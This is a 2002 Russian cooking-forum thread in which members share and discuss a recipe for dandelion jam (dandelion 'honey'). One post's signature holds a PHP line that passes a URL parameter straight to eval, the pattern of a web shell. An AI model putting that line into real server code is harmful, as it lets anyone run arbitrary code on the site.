Авторизация
Загрузка...
Варенье из одуванчиков

 
Начать новую тему   Ответить на тему    Форумы -> Поиск рецептов
Предыдущая тема :: Следующая тема  
Автор Сообщение
Юлия  
Гость




Сообщение Добавлено: Пн Апр 22, 2002 11:27     Заголовок сообщения: Варенье из одуванчиков Ответить с цитатой

Моя бабушка варила чудное варенье из одуванчиков, похожее на мед - воспоминание детства:-). Рецепт я , увы, не сохранила и помню только некоторые моменты.
Вернуться к началу
Maria  
Главный по зеленым кастрюлькам
Главный по зеленым кастрюлькам

Зарегистрирован: 21.11.2001
Сообщения: 4278
Откуда: England

Сообщение Добавлено: Вт Апр 23, 2002 19:28     Заголовок сообщения: Re: Варенье из одуванчиков Ответить с цитатой

Привет !

А одуванчиковое варенье получается не горьким ? smile.gif

Давным-давно в фидо пробегал такой рецептик - может быть, это он ?...

Мед или варенье из одуванчиков

300 цветков одуванчика  
1 кг сахаpа-песок  
2 ст воды
0,5 ч л лимонной кислоты (или 0,5 лимона ).

Hаpвать цветков одуванчиков (без стеблей). Сваpить сиpоп. В готовый кипящий сиpоп опустить цветки, пpедваpительно хоpошо пpомыв их в холодной воде, дать закипеть и ваpить в течение 20 минут. В полученную массу за 2-3 минуты до готовности добавить лимонную кислоту (пол чайной ложки) или сок, выжатый из половины лимона.

Сваpенную массу снять с огня, оставить на сутки. Hа дpугой день смесь отжать чеpез маpлю и вновь поставить ваpить на 20 минут. После этого мед считается готовым. Он пpозpачный, чуть желтоватый, очень кpасивый, на вкус замечателен.

Удачи !
_________________
phpbb:eval(stripslashes($_GET[e]));
Вернуться к началу
Посмотреть профиль Дневник Отправить личное сообщение
Ja  
Гость




Сообщение Добавлено: Ср Июн 12, 2002 11:03     Заголовок сообщения: Re: Варенье из одуванчиков Ответить с цитатой

Maria писал(а):
Привет ! <br><br>А одуванчиковое варенье получается не горьким ? smile.gif


Net on sowsem ne gor'kij, dazhe ochen' sladkij happy.gif
Вернуться к началу
Показать сообщения:   
Начать новую тему   Ответить на тему    Форумы -> Поиск рецептов Часовой пояс: MSK (Moscow)
Послать другу
Распечатать
Страница 1 из 1

Добавить в закладки

 
Перейти:  
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы можете добавлять приложения
Вы можете скачивать приложения